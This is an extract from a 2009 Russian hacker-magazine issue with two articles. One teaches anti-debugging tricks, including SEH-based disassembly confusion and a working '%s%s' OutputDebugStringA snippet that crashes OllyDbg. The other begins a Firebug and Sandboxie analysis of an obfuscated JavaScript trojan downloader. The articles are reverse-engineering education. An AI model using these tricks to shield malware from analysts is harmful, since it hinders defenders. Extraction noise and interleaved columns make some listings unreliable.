книги хакеры / журнал хакер / 130_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
OLLYDBGПАСУЕТПЕРЕДПЕРЕДАЧЕЙ
ВVSPRINTF()СПЕЦИФИКАТОРОВ...
АНТИОТЛАДКА: КОДПРЕВРАТИЛСЯВНЕРАБОТОСПОСОБНУЮПОД ОТЛАДЧИКОМ«КАШУ»
регистр ESP
0040103D JMP SHORT 00401000; перейти к выполнению программы
Послеустановкиобработчикаисключений происходитинициированиеисключительной ситуации(инструкция«CALL 00401033» уходит вбесконечнуюрекурсию, чтонеминуемовызываетпереполнениестека).
Еслипроанализироватьэтоткод, можно заметить, чтоинструкция, расположеннаяпо адресу00401038, никогданебудетвыполнена.
Адрес, содержащийсявEIP, изменитсяпосле того, какисключениебудетсгенерировано, ионбудетравенсодержимомууказателяна обработчикисключения— 0x40103A. Поэтому поадресу00401038 можетбытьразмещена любаяинструкция. Впрочем, использованиевэтомместекомандыJMP позволяет ввестиотладчиквзаблуждение. Например, еслиоперандэтойинструкциибудетравен 0040103E, всепоследующиеинструкции восстановлениярегистровбудуттрактоваться какданные, ибониодначастьпрограммыне ссылаетсянаних, апереднимирасположена инструкциябезусловногоперехода. Кроме того, ссылканамашинныйкод, которыйявляетсясерединойинструкцииJMP, приводитк тому, чтоонарассматриваетсяотладчикомкак следующийкод:
0040103D |
DB EB |
0040103E ROL DWORD PTR DS:[EAX],0
;Shift constant out of range 1..31
Иужсовсем«добить» реверсераможно, еслиразместитьпослекомандыJMP SHORT 00401000 безусловныйпереходнасереди-
нунекоторойинструкции, размещеннойв пределахсекциикода, заставляяотладчик делатьошибочнуюпопыткуинтерпретировать инструкциикакданные. Этоможетбытьреализованоследующимобразом:
• Началокодапрограммы, которыйстановится полностью«нечитабельным»:
; Ниже расположены неверно интерпретируемые отладчиком инструкции: 00401000 DB 6A
; CHAR 'j'
00401001 DB 00
...АОТЛАДЧИКIMMUNITY НЕБЕРЕТЭТА«ЗАРАЗА»!
00401020 JMP DWORD PTR DS: [<&user32.MessageBoxA>]
;user32.MessageBoxA
•Началоантиотладочногокода:
00401026 XOR EAX,EAX
00401028 PUSH ex_excep.0040103A
0040102D PUSH DWORD PTR FS:[EAX]
УКАЗАТЕЛЬ НА СТРУКТУРУ, СОДЕРЖАЩУЮ АДРЕС ОБРАБОТЧИКА, НАХОДИТСЯ ПО АДРЕСУ FS:[0].
00401002 |
DB 68 |
|
00401030 |
MOV DWORD PTR FS:[EAX], ESP |
|
; |
CHAR 'h' |
|
|
|
|
00401003 |
DD ex_excep.00403000 |
|
00401033 |
CALL ex_excep.00401033 |
|
; |
ASCII "Simply program" |
|
|
|
|
00401007 |
DB 68 |
|
00401038 |
JMP SHORT ex_excep.0040103E |
|
; |
CHAR 'h' |
|
; фиктивный переход на середину инс- |
||
00401008 |
DD ex_excep.0040300F |
|
трукции |
|
|
; |
ASCII "Hello, World!" |
|
|
|
|
• Далеерасположеныневерноинтерпретируе- |
|||||
0040100C |
DB 6A |
||||
; |
CHAR 'j' |
мыеотладчикоминструкции: |
|||
0040100D |
ADD AL,CH |
|
|
|
|
0040100F |
OR EAX,6A000000 |
|
0040103A |
DB 58 |
|
00401014 |
ADD AL,CH |
|
; |
CHAR 'X' |
|
00401016 |
ADD BYTE PTR DS:[EAX],AL |
|
0040103B |
DB 58 |
|
00401018 |
ADD BYTE PTR DS:[EAX],AL |
|
; |
CHAR 'X' |
|
0040101A |
JMP DWORD PTR DS: |
|
0040103C |
DB 5C |
|
[<&kernel32.ExitProcess>] |
|
; |
CHAR '\' |
||
; |
kernel32.ExitProcess |
|
0040103D |
DB EB |
|
|
|
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 10 /130/ 09 |
069 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ТАКВЫГЛЯДИТПРОГРАММАДОВНЕДРЕНИЯАНТИОТЛАДОЧНОГОКОДА. ВСЕПРЕДЕЛЬНОЯСНО
PRINTF
«Функциисемействаprintf выводятданныевсоответствиис параметромformat, описаннымниже. Функцииprintf иvprintf направляютданныевстандартныйпотоквыводаstdout; fprintf
иvfprintf направляютданныевзаданныйпотоквыводаstream; sprintf, snprintf, vsprintf иvsnprintf направляютданныевсимвольнуюстрокуstr. Функцииvprintf, vfprintf, vsprintf, vsnprintf эквивалентнысоответствующимфункциямprintf, fprintf, sprintf, snprintf,
исключаято, чтоонивызываютсясva_list, анеспеременнымколичествомаргументов. Этифункцииневызываютмакросva_end ,
ипоэтомузначениеap послевызованеопределенно. Приложение можетпозжесамовызватьva_end(ap). Этивосемьфункцийвыводятданныевсоответствиисострокойformat, котораяопределяет, какимобразомпоследующиепараметры(илидоступныепараметрыпеременнойдлиныизstdarg(3)) преобразуютпотоквывода».
0040103E ROL DWORD PTR DS:[EAX],0
;Shift constant out of range 1..31 00401041 JMP SHORT ex_excep.0040100F
;фиктивный переход на середину инструкции
Этоткодпрактическинеподдаетсяанализу, чтодоказывает: механизмисключений
— оченьэффективныйимощныйметод антиотладки. Интересно, чтоинструкции, располагающиесявблизиточкивхода, не интерпретируютсявкачествекодадаже послетого, какточкуостановаустанавливают на«данные», располагающиесяпоадресу 0x401000. Исправитьситуациюможеттолько
грамотныйразборантиотладочногокодапрофессиональнымреверсеромимножественные правкикодавпроцессеотладки.
МетодчастоиспользуетсяидляизмененияEIP, тоестьадресавыполняемойинструкции. Часть кода, которая, казалосьбы, должнавыполняться, можетбытьпредваренанеслишкомявноопределеннымисключением. Врезультате, разбор структурыпрограммыоказываетсядляреверсинженерапрактическинепосильнойзадачей.
«КОРМИМ» VSPRINTF ()
СПЕЦИФИКАТОРАМИ
Отладчики, хотяисозданыспециалистамипо реверс-инжинирингу, являютсяпрограммами
ТОЧКАОСТАНОВАВНАЧАЛЕКОДАПРОГРАММЫНЕПОМОЖЕТ. OLLYDBG БЕССИЛЕН!
иимеютуязвимости, свойственныеподавляющемубольшинствудругихпрограммных продуктов. Поройудаетсяиспользоватьэти ошибки, чтобыпредотвратитьотладку.
ОтладчикOllyDbg содержитуязвимость, связаннуюсиспользованиемошибочного выполненияфункцииvsprintf (), входящейв msvcrt. Функциявходитвсемействофункций «printf». Какэтоописываетсайтwww.opennet. ru читайнаврезке.
Спецификаторыпреобразований, начинающиесясимволом«%», указывают, чтозастрокойследуетпараметр. Есливвызовефункции указанспецификатор«%s», параметртипа const char * будетпреобразованвуказательна символьныймассив— строковойуказатель. Приэтомфункциейбудутвыведенысимволы, вплотьдосимвола-терминатора(«NULL»).
Вчемпричинаошибочноговыполнения функцииvsprintf () вOllyDbg? Оказывается, вопределенныхслучаяхотладчикпередает данные, встречающиесявпрограмме, непос-
редственнофункцииvsprintf (), безкаких-либо дополнительныхпроверок. Представьсебе, чтовстроке, переданнойфункции, содержатся спецификаторыпреобразований. Еслибудет выполненопреобразованиепараметрав указатель, которыйбудетуказыватьнанеинициализированнуюобластьпамяти, программазавершитсяссообщениемобошибке. Исключениенебудетобработаностандартным обработчиком, ипроцесс, породившийего, будетзавершен. Ты, наверное, догадался, чтовслучаевызованекоторыхAPI-функцийв процессеисследованияпрограммыданным процессомбудетявлятьсяотладчик. Этонаси интересуетбольшевсего:). Ошибкаиспользованияфункцииvsprintf () припередачеей символьнойстроки, вкоторойсодержатсяспецификаторыпреобразования«%s», встречаетсявотладчикеOllyDbg версии1.10. Именно этаверсияиполюбиласьтысячамреверсеров
070 |
XÀÊÅÐ 10 /130/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ОТЛАДЧИКIMMUNITY, КАКПОЛНОПРАВНЫЙ«КЛОН» OLLYDBG, ВЕДЕТСЕБЯТАКЖЕ. ИДАЖЕПОДВИСАЕТ
повсемумиру! Ксожалению, отладчикиуровняядраинекоторые«прикладные» отладчики неимеютэтойошибки. Нонашацель— одиниз наиболеепопулярныхотладчиков— OllyDbg.
Нижемырассмотримкод, которыйдемонстрируетиспользованиеуязвимости.
Программаможетгенерироватьтекстовые отладочныесообщения. Дляэтихцелейв
WIN32 естьфункцияOutputDebugStringА()
библиотеки«kernel32.dll». Функцией
OutputDebugStringA() регистрируется собственныйобработчикисключений(мы говорилиобобработчикахвыше), послечего вызываетсяRaiseException(), инициирующая программноеисключение. Есливсистеме присутствуетотладчик, установленныйпо умолчанию, обработкасгенерированного исключениябудетпереданаему. Вином случаебудетиспользоватьсяобработчик, установленныйсамойфункцией. Втом, что обработчикдействительноустановлен, легко убедиться, протрассировавпо<F7> функцию
OutputDebugStringA() домоментавызова внутреннейфункции, содержащейследующийкод:
7C8024F9 PUSH EAX 7C8024FA
MOV EAX,DWORD PTR SS:[EBP-4] 7C8024FD MOV DWORD PTR SS:[EBP-4],-1 7C802504
MOV DWORD PTR SS:[EBP-8], EAX 7C802507
LEA EAX,DWORD PTR SS:[EBP-10] 7C80250A MOV DWORD PTR FS:[0],EAX 7C802510 RETN
Послевыполненияэтогокодаивозвратав функциюOutputDebugStringA() обработчик будетустановлен.
Вотпрототипфункции, котораявызывает исключение:
RaiseException(
DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, CONST DWORD *lpArguments );
Параметр*lpArguments формируется наосновевходнойстрокидляфункции
OutputDebugStringA(). Таккакуказательбудет иметьнедопустимоезначение, исключениене будетобработано. Аэтоиприводитк«умиранию» отладчика.
Напрактикеосуществитьантиотладочный прием, описанныйвыше, оченьлегко(вкачестве«подопытной» программысновавоспользуемсянашей«дрозофилой»):
00401026 PUSH 00401033 ; указатель на строку
0040102B CALL OutputDebugStringA ; вызов функции
00401031 JMP 00401000; переход к выполнению программы
00401033 DB "%s%s",0 ; строка, терминированная нулевым значением
В принципе, если вызов функций — как высокоуровневых, так и NativeAPI — спрятан (этого можно добиться, используя некоторые методики, вроде Stolen code, то есть метод перемещения кода функций в PE-файл). Все попытки исследования сводятся к перемещению в ядро выполнением команды SYSENTER, что заставляет реверс-инженера использовать низкоуровневые отладчики, например, SoftIce. В свою очередь, это связано с большими трудозатратами. Поэтому эта защитная «фишка» является очень эффективной, если подходить к ее реализации с умом. z
XÀÊÅÐ 10 /130/ 09 |
071 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|||||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU |
|
|
|
|
|||||||||
|
|
|
|
|
|
m |
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
||||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-x cha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ТРОЯН-ЛОАДЕРПЕРЕБРАСЫВАЕТБРАУЗЕР ПЕРВАЯОШИБКА, ИНИЦИИРОВАННАЯJAVASCRIPT- НАСАЙТGOOGLE
СЦЕНАРИЕМ, ОЧЕНЬПОМОГЛА!
072 |
XÀÊÅÐ 10 /130/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ТРОЯНСКАЯ
БИТВА
ОБЪЯВЛЯЕМВОЙНУОБФУСЦИРОВАННЫМЛОАДЕРАМ
Думаю, каждыйпользовательСетисталкивалсяспроблемами, которыевызываютвредоносныепрограммы— вирусы, черви, трояны. Чтобыэффективнопротивостоятьтроянописателям, нужнонаучитьсядаватьимадекватныйотпор, раскрыватьиххитроумныепланы, на корнюрубитьвсяческиепопыткинанесенияущерба. Сегоднямыпог- рузимсявмиртеорииипрактикиисследованиятроян-лоадеров.
ТРУДНОСТИПЕРЕВОДА |
щают обфусцированный код в нечто более |
|
|
|
аргумент-строка...'); //передача |
||
Рассмотримобфусцированныйтроян-лоадер, |
привлекательное. Пример такого сервиса |
|
зашифрованного кода лоадера функции |
которыйраспознаетсяантивирусомESET |
— javascript-beautifier, располагающийся |
|
|
|
|
||
NOD32 как«trojandownloader.iframe.ey.gen». |
по адресу http://jsbeautifier.org (о процессе |
|
Казалосьбы, проблемарешенаиможно |
Зашифрованный архив с текстом вредонос- |
деобфускации рассматриваемого троян-ло- |
|
заниматьсяотладкойкодасцельюдешифра- |
ного скрипта ты сможешь найти на нашем |
адера можно прочесть, опять же, на нашем |
|
циитроян-лоадера. Квеликомусожалению, |
DVD, но помни, что он предназначен лишь |
DVD: я очень подробно описал особенности |
|
троянописательпозаботилсяотом, чтобы |
для ознакомления с принципами работы |
восстановления обфусцированного кода). |
|
javascript-сценарийтерялработоспособность |
вредоносных программ. За распростране- |
После того, как я воспользовался деобфус- |
|
прилюбоймодификации. Речьотом, каким |
ние троян-лоадера несешь ответственность |
катором и приложил массу усилий, чтобы оп- |
|
образомэтобылодостигнуто, пойдетниже. |
только ты. То же относится и к твоей личной |
ределить назначение той или иной перемен- |
|
Остаетсядобавить, чтопередомнойвозникла |
безопасности — ни автор, ни редакция |
ной, я получил достаточно удобочитаемый |
|
задачаотладкиоригинальногообфусцирован- |
не отвечают за последствия действий, |
код («говорящие» названия даны некоторым |
|
ногокода, аэточрезвычайнонепросто. |
которые могут быть выполнены с исполь- |
переменным и функциям мной): |
|
ОБФУСКАЦИЯJAVASCRIPT? |
зованием ознакомительного материала и |
|
|
|
текста вредоносного скрипта. Если открыть |
function Strange_Function( |
|
НЕПРОБЛЕМА! |
html-страницу, которая содержит потен- |
string_parameter) |
|
Передтем, какговоритьобисследовании |
циально опасные инструкции, при помощи |
|
|
кода, нужноуделитьвниманиеинструмен- |
любого текстового редактора, — можно |
{ |
|
там, которыебудутиспользоватьсявработе. |
обнаружить, что между тегами <script |
|
|
КаждыйслышалкакобраузереMozilla Firefox, |
language="javascript"> и </script> |
var String_withoutUpcase = |
|
такиоплагинах, которыедлянегосоздаютсяв |
находится обфусцированный javascript-код. |
arguments.callee.toString(). |
|
большомколичестве. Насинтересуютплагины, |
Его основные части: функция, которая, ско- |
replace(/\W/g, '').toUpperCase();// |
|
позволяющиеотлаживатькодjava. Ничего |
рее всего, предназначена для расшифровки |
любопытная инструкция |
|
лучше, чемFirebug, яневстречал. Онспособен |
троян-лоадера, и инструкция вызова данной |
//далее располагается объявле- |
|
выполнятьотладкусценариев— пошагово, с |
функции, которая передает в качестве |
ние многочисленных переменных |
|
точкамиостанова, позволяетустанавливать |
аргумента зашифрованный код. Скрипт |
//и инструкции получения пере- |
|
наблюдениязапеременнымииисследовать |
обфусцирован, поэтому его функциональ- |
менной "M6Nnm6jY0", которая переда- |
|
HTML-код. Будемсчитать, чтовыборсделан. |
ность определить чрезвычайно трудно. Он |
ется функции eval () ниже |
|
Необходимотакжепозаботитьсяиобезопас- |
практически нечитабелен — имена перемен- |
|
|
ностисобственногокомпьютера, ведьисследо- |
ных и функций выглядят как бессмысленные |
eval(M6Nnm6jY0); //выполнение |
|
ваниетроян-лоадеравничемнезащищенной |
наборы символов. Чтобы понять назначение |
полученной последовательности |
|
средеоперационнойсистемы, прииспользо- |
тех или иных частей кода, необходимо скрипт |
|
|
ваниибраузера, работающегов«хостовой» |
деобфусцировать. Можно воспользоваться |
} |
|
ОСбезпосредничества, можетпривестик |
специальными онлайн-«бьютиферами» |
|
|
заражениюкомпьютера. Одиндостаточно |
кода, то есть сервисами, которые превра- |
Strange_Function('...Очень большой |
|
очевидныйвыход, окотором, вероятно, ты |
|
|
|
|
XÀÊÅÐ 10 /130/ 09 |
073 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ОБФУСЦИРОВАННЫЙКОДЧИТАЕТСЯСТРУДОМ
сразужеподумал, — использованиевиртуальноймашины. Недумаю, чтоэторешениеможно назватьподходящим: операционнаясистема, работающаяподееуправлением, можетбыть зараженаточнотакже, какиОС, управляемая машиной«железной». Дляисследования троян-лоадерачастотребуетсядоступксети, а этозначит, зараженнаявиртуальнаямашина станетисточникомпотенциальнойопасности, чтонеприемлемо. Альтернативноерешение— использованиетакназываемых«песочниц»
— утилит, способныхвыполнятьпрограммыв искусственносозданнойсреде. Призапуске браузерав«песочнице» всеизменения, кото- рыеинициируетвыполняемыйjava-код, никак невлияютнинаоперационнуюсистему, нина системуфайловую. Ярекомендуюиспользовать Sandboxie — этазамечательная«песочница» обеспечитполнуюбезопасностьприработе
спотенциальновредоноснымjava-кодом.
Ипоследнее: антивирусныесредствамогут воспрепятствоватьисследованию, поэтомуво время«испытаний» ихлучшеотключить. Существуетнеобычныйметод, позволяющий получитьтекст«исходного», незащищенного троян-лоадера, которыйгенерируетjavascriptсценарий. Онневероятнопрост, имырассмотримего, однаконужнопомнить, чтоиспользованиеметоданедаетполногопонимания принциповзащитыjavascript-кода(испособов, позволяющихэтоткодвосстановить). Поэтому мыуделимнемноговремениразборузащитныхметодов, которыедополняютобфускацию. Итак, перейдемкпрактике.
ЗапускайбраузервSandboxie, перетащив егоярлыкпрямонаокнопрограммы(думаю, чтоснастройкамиSandboxie тыразберешьсясамостоятельно, онинесложны— вконце концов, можешьпродолжитьработуврежиме
«поумолчанию»). Когдабраузербудетзапущен, откройфайл, вкоторомсодержитсявредоносный код, предварительноактивировавокноFirebug нажатиемнаизображениесимпатичногожучкав правомнижнемуглубраузера. Скриптвыполнится, анасавтоматическипереброситнасайт поисковойсистемыGoogle. Чтож, дляначаланеплохо. Firebug ужеотследилфункциональность скрипта, иможноприступатькегоповторному выполнениюсцельюдетальногоисследования. ВокнеFirebug перейдемнавкладку«Сценарий» («Script» ванглийскойверсииплагина; будем считать, чтотыустановилрусифицированную версиюFirebug). Еслионаотключена, необходимоееактивировать. Сейчаснужновключить опцию«Останавливатьсянавсехошибках». Это поможетнепроскочитьчерезцелевойскрипти остановитьсянаоднойизошибок, которыеон инициирует. Послетого, какэтосделано, нажмем накнопкубраузера«Назад» иобновимстраницу. Выполнениеjava-кодамоментальноприос- тановится, авокне«Сценарий» отобразится следующеесообщение:
r = CLSID.CreateObject(name); CLSID. CreateObject is not a function.
Ошибкапозволилаостановитьсяпрямов дебряхраспакованноготроян-лоадером вредоносногокода. Чтобыполучитьдоступк текстуэтогоjava-скрипта, необходимонажать накнопкувкладки«Сценарий», открывающуюсписоквсехвыполняющихсяскриптови фрагментовкода, которыепередаютсяфункции eval (), ивыбратьизспискасамыйпоследний вариант. Восновномокневкладки«Сценарий» возникнеткодрасшифрованногоjava-скрипта. Текстлоадераотображается, носкопироватьиз окнаFirebug, какнистранно, егоневозможно. Это
